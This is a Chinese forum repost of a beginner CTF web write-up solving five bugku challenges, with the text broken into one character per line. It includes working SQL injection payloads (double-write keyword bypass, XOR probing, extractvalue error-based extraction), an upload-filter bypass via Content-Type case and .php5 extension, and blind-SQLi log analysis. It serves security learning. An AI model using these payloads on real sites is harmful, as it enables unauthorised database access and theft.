论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[20980] 2020-04-24_【CTFweb入门第七篇】web入门
文档创建者：
s7ckTeam
浏览次数：
5
最后更新：
2025-01-18
IOT
5 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2020-04-24_【CTFweb入门第七篇】web入门
【
C
T
F
w
e
b
入
门
第
七
篇
】
w
e
b
入
门
原
创
泰
兰
德
v
语
风
L
e
m
o
n
S
e
c
2
0
2
0
-
0
4
-
2
4
b
u
g
k
u
-
c
t
f
第
一
题
：
细
心
这
个
题
主
要
在
于
细
心
，
还
有
就
是
对
r
o
b
o
t
s
.
t
x
t
的
了
解
。
访
问
看
看
h
t
t
p
:
/
/
1
2
3
.
2
0
6
.
8
7
.
2
4
0
:
8
0
0
2
/
w
e
b
1
3
/
进
来
后
发
现
是
这
样
了
我
瞎
点
了
下
也
没
发
现
什
么
东
西
之
后
就
尝
试
下
寻
找
t
x
t
h
t
t
p
:
/
/
1
2
0
.
2
4
.
8
6
.
1
4
5
:
8
0
0
2
/
w
e
b
1
3
/
r
o
b
o
t
s
.
t
x
t
发
现
了
这
样
的
一
句
话
U
s
e
r
-
a
g
e
n
t
:
*
D
i
s
a
l
l
o
w
:
/
r
e
s
u
s
l
.
p
h
p
B
y
b
u
g
k
u
c
t
f
.
i
f
(
$
_
G
E
T
[
x
]
=
=
$
p
a
s
s
w
o
r
d
)
此
处
省
略
1
w
字
根
据
上
面
的
p
h
p
代
码
我
们
构
造
x
=
a
d
m
i
n
h
t
t
p
:
/
/
1
2
0
.
2
4
.
8
6
.
1
4
5
:
8
0
0
2
/
w
e
b
1
3
/
r
e
s
u
s
l
.
p
h
p
?
x
=
a
d
m
i
n
便
能
得
到
f
l
a
g
得
到
f
l
a
g
(
c
t
f
_
0
0
9
8
_
l
k
j
i
-
s
)
这
个
题
主
要
在
于
细
心
，
还
有
就
是
对
r
o
b
o
t
s
.
t
x
t
的
了
解
。
b
u
g
k
u
-
c
t
f
第
二
题
：
求
g
e
t
s
h
e
l
l
访
问
看
看
应
该
是
考
的
上
传
漏
洞
这
道
题
是
后
缀
名
黑
名
单
检
测
和
类
型
检
测
1
.
把
请
求
头
里
面
的
C
o
n
t
e
n
t
-
T
y
p
e
字
母
改
成
大
写
进
行
绕
过
2
.
.
j
p
g
后
面
加
上
.
p
h
p
5
其
他
的
都
被
过
滤
了
好
像
如
果
是
w
a
l
f
严
格
匹
配
，
通
过
修
改
C
o
n
t
e
n
t
-
t
y
p
e
后
字
母
的
大
小
写
可
以
绕
过
检
测
，
使
得
需
要
上
传
的
文
件
可
以
到
达
服
务
器
端
，
而
服
务
器
的
容
错
率
较
高
，
一
般
我
们
上
传
的
文
件
可
以
解
析
。
然
后
就
需
要
确
定
我
们
如
何
上
传
文
件
，
在
分
别
将
后
缀
名
修
改
为
p
h
p
2
,
p
h
p
3
,
p
h
p
4
,
p
h
p
5
,
p
h
p
s
,
p
h
t
,
p
h
t
m
,
p
h
t
m
l
（
p
h
p
的
别
名
）
，
发
现
只
有
p
h
p
5
没
有
被
过
滤
，
成
功
上
传
，
得
到
f
l
a
g
K
E
Y
{
b
b
3
5
d
c
1
2
3
8
2
0
e
}
此
题
考
点
在
上
传
绕
过
b
u
g
k
u
-
c
t
f
第
三
题
：
多
次
访
问
看
下
登
陆
后
发
现
页
面
没
有
啥
信
息
，
但
是
u
r
l
地
址
栏
？
？
i
d
=
1
可
能
存
在
注
入
?
i
d
=
1
'
o
r
1
=
1
-
-
+
也
报
错
，
可
能
存
在
过
滤
尝
试
双
写
绕
过
，
?
i
d
=
1
'
o
o
r
r
1
=
1
-
-
+
返
回
正
常
那
如
何
检
测
哪
些
字
符
串
被
过
滤
了
呢
？
新
技
能
G
E
T
！
异
或
注
入
了
解
一
下
，
两
个
条
件
相
同
（
同
真
或
同
假
）
即
为
假
?
i
d
=
1
'
^
(
l
e
n
g
t
h
(
'
u
n
i
o
n
'
)
!
=
0
)
-
-
+
如
果
返
回
页
面
显
示
正
常
，
那
就
证
明
l
e
n
g
t
h
(
‘
u
n
i
o
n
’
)
=
=
0
的
，
也
就
是
u
n
i
o
n
被
过
滤
了
同
理
测
试
出
被
过
滤
的
字
符
串
有
：
a
n
d
，
o
r
，
u
n
i
o
n
，
s
e
l
e
c
t
都
用
双
写
来
绕
过
，
p
a
y
l
o
a
d
如
下
：
爆
数
据
表
(
注
意
：
i
n
f
o
r
m
a
t
i
o
n
里
面
也
有
o
r
)
?
i
d
=
-
1
'
u
n
u
n
i
o
n
i
o
n
s
e
s
e
l
e
c
t
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
f
r
o
m
i
n
f
o
o
r
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
d
a
t
a
b
a
s
e
(
)
-
-
+
爆
字
段
?
i
d
=
-
1
%
2
7
%
2
0
u
n
u
n
i
o
n
i
o
n
%
2
0
s
e
s
e
l
e
c
t
l
e
c
t
%
2
0
1
,
%
2
0
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
%
2
0
f
r
o
m
%
2
0
i
n
f
o
o
r
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
%
2
0
w
h
e
r
e
%
2
0
t
a
b
l
e
_
n
a
m
e
=
%
2
7
f
l
a
g
1
%
2
7
-
-
+
爆
数
据
?
i
d
=
-
1
%
2
7
%
2
0
u
n
u
n
i
o
n
i
o
n
%
2
0
s
e
s
e
l
e
c
t
l
e
c
t
%
2
0
1
,
%
2
0
g
r
o
u
p
_
c
o
n
c
a
t
(
f
l
a
g
1
)
%
2
0
f
r
o
m
%
2
0
f
l
a
g
1
-
-
+
提
交
f
l
a
g
显
示
错
误
，
换
个
字
段
爆
a
d
d
r
e
s
s
，
得
出
下
一
关
地
址
?
i
d
=
-
1
'
u
n
u
n
i
o
n
i
o
n
s
e
s
e
l
e
c
t
l
e
c
t
1
,
g
r
o
u
p
_
c
o
n
c
a
t
(
a
d
d
r
e
s
s
)
f
r
o
m
f
l
a
g
1
-
-
+
打
开
之
后
当
双
写
绕
过
和
大
小
写
绕
过
都
没
用
时
，
这
时
我
们
需
要
用
到
报
错
注
入
。
爆
字
段
数
?
i
d
=
1
'
o
r
d
e
r
b
y
2
-
-
+
正
常
?
i
d
=
1
'
o
r
d
e
r
b
y
3
-
-
+
报
错
爆
库
?
i
d
=
1
'
a
n
d
(
e
x
t
r
a
c
t
v
a
l
u
e
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
d
a
t
a
b
a
s
e
(
)
,
0
x
7
e
)
)
)
-
-
+
爆
表
?
i
d
=
1
'
a
n
d
(
e
x
t
r
a
c
t
v
a
l
u
e
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
g
r
o
u
p
_
c
o
n
c
a
t
(
t
a
b
l
e
_
n
a
m
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
t
a
b
l
e
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
"
w
e
b
1
0
0
2
-
2
"
)
,
0
x
7
e
)
)
)
-
-
+
爆
列
?
i
d
=
1
'
a
n
d
(
e
x
t
r
a
c
t
v
a
l
u
e
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
g
r
o
u
p
_
c
o
n
c
a
t
(
c
o
l
u
m
n
_
n
a
m
e
)
f
r
o
m
i
n
f
o
r
m
a
t
i
o
n
_
s
c
h
e
m
a
.
c
o
l
u
m
n
s
w
h
e
r
e
t
a
b
l
e
_
s
c
h
e
m
a
=
"
w
e
b
1
0
0
2
-
2
"
a
n
d
t
a
b
l
e
_
n
a
m
e
=
"
f
l
a
g
2
"
)
,
0
x
7
e
)
)
)
-
-
+
爆
f
l
a
g
?
i
d
=
1
'
a
n
d
(
e
x
t
r
a
c
t
v
a
l
u
e
(
1
,
c
o
n
c
a
t
(
0
x
7
e
,
(
s
e
l
e
c
t
g
r
o
u
p
_
c
o
n
c
a
t
(
f
l
a
g
2
)
f
r
o
m
f
l
a
g
2
)
,
0
x
7
e
)
)
)
-
-
+
得
到
f
l
a
g
{
B
u
g
k
u
-
s
q
l
_
6
s
-
2
i
-
4
t
-
b
u
g
}
f
l
a
g
均
为
小
写
f
l
a
g
{
b
u
g
k
u
-
s
q
l
_
6
s
-
2
i
-
4
t
-
b
u
g
}
本
地
主
要
是
s
q
l
注
入
，
报
错
注
入
以
及
异
或
注
入
b
u
g
k
u
-
c
t
f
第
四
题
：
日
志
审
计
下
载
后
是
一
个
t
x
t
不
用
p
c
a
p
的
原
因
应
该
是
可
能
怕
我
们
提
取
数
据
太
麻
烦
，
写
脚
本
不
好
写
，
因
此
直
接
给
个
t
x
t
文
件
。
那
么
先
打
开
t
x
t
文
件
分
析
，
这
个
已
经
很
友
善
了
，
网
址
那
里
已
经
s
q
l
i
_
b
l
i
n
d
提
示
了
，
那
么
这
就
是
一
道
s
q
l
盲
注
复
现
的
流
量
分
析
。
知
识
点
：
s
q
l
二
分
法
盲
注
一
些
s
q
l
常
见
语
句
分
析
正
常
字
符
出
现
的
条
件
写
脚
本
进
行
数
据
提
取
（
p
s
：
最
难
就
是
这
里
，
不
过
到
时
候
不
会
可
以
人
工
手
动
提
取
根
据
盲
注
的
原
理
，
直
接
拉
到
t
x
t
最
后
面
，
因
为
最
后
面
的
那
一
段
才
是
判
断
出
f
l
a
g
的
。
用
n
o
t
e
p
a
d
+
+
的
插
件
中
的
M
I
M
E
T
o
o
l
中
的
U
R
L
d
e
c
o
d
e
解
一
下
码
~
还
是
来
复
习
下
盲
注
的
知
识
，
（
虽
然
对
解
题
用
处
不
大
）
每
一
条
语
句
返
回
的
状
态
码
有
2
0
0
和
4
0
4
。
我
们
可
以
看
到
2
0
0
状
态
码
对
应
的
A
S
C
I
I
值
是
1
7
6
5
，
4
0
4
状
态
码
对
应
的
A
S
C
I
I
值
是
5
4
7
6
。
我
们
往
后
继
续
看
~
看
到
有
f
l
a
g
_
i
s
_
h
e
r
e
的
记
录
.
.
.
在
s
q
l
盲
注
里
测
试
的
字
符
的
最
后
一
条
状
态
码
为
2
0
0
的
语
句
的
A
S
C
I
I
值
再
加
1
就
是
猜
解
正
确
的
A
S
C
I
I
值
，
转
换
成
字
符
就
是
我
们
需
要
的
答
案
的
其
中
一
个
字
符
。
下
面
以
第
一
个
字
符
作
为
例
子
：
我
们
可
以
看
到
当
L
I
M
I
T
0
,
1
)
,
1
,
1
)
)
>
1
0
1
时
，
是
第
一
个
字
符
的
最
后
一
个
状
态
码
为
2
0
0
的
语
句
，
这
时
的
A
S
C
I
I
码
是
1
0
1
，
那
么
1
0
1
+
1
=
1
0
2
，
A
S
C
I
I
码
为
1
0
2
对
应
的
是
f
，
因
此
f
l
a
g
的
第
一
个
字
符
就
为
f
第
二
个
就
是
1
0
8
第
三
个
9
7
—
对
应
的
a
1
0
1
+
1
=
1
0
2
-
-
>
f
1
0
7
+
1
=
1
0
8
-
-
>
l
9
6
+
1
=
9
7
-
-
>
a
1
0
2
+
1
=
1
0
3
-
-
>
g
由
于
字
符
比
较
多
，
我
们
就
不
一
一
列
举
了
，
以
上
就
是
f
l
a
g
的
前
四
个
字
符
。
最
多
得
出
f
l
a
g
{
s
q
l
m
4
p
_
1
5
_
p
0
w
e
r
f
u
l
}
这
个
题
的
经
验
在
于
，
对
注
入
的
了
解
，
s
q
l
注
入
盲
注
b
u
g
k
u
-
c
t
f
第
五
题
：
f
l
a
g
被
盗
先
点
击
下
载
看
看
k
e
y
.
p
c
a
p
n
g
文
件
，
下
载
用
w
i
r
e
s
h
a
r
k
打
开
根
据
题
目
提
示
，
f
l
a
g
被
盗
，
那
么
很
有
可
能
包
里
包
含
了
一
个
文
件
，
至
于
文
件
类
型
就
无
法
准
确
判
断
了
~
通
常
，
我
们
可
以
先
用
h
t
t
p
协
议
，
来
看
一
下
p
c
a
p
包
里
面
包
含
的
信
息
。
筛
选
h
t
t
p
我
们
可
以
看
到
，
请
求
2
0
0
o
k
，
请
求
成
功
。
还
含
有
s
h
e
l
l
.
p
h
p
~
任
意
选
择
一
条
含
s
h
e
l
l
.
p
h
p
的
内
容
右
键
=
>
>
追
踪
流
=
>
>
T
C
P
流
，
看
一
下
详
细
信
息
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
IOT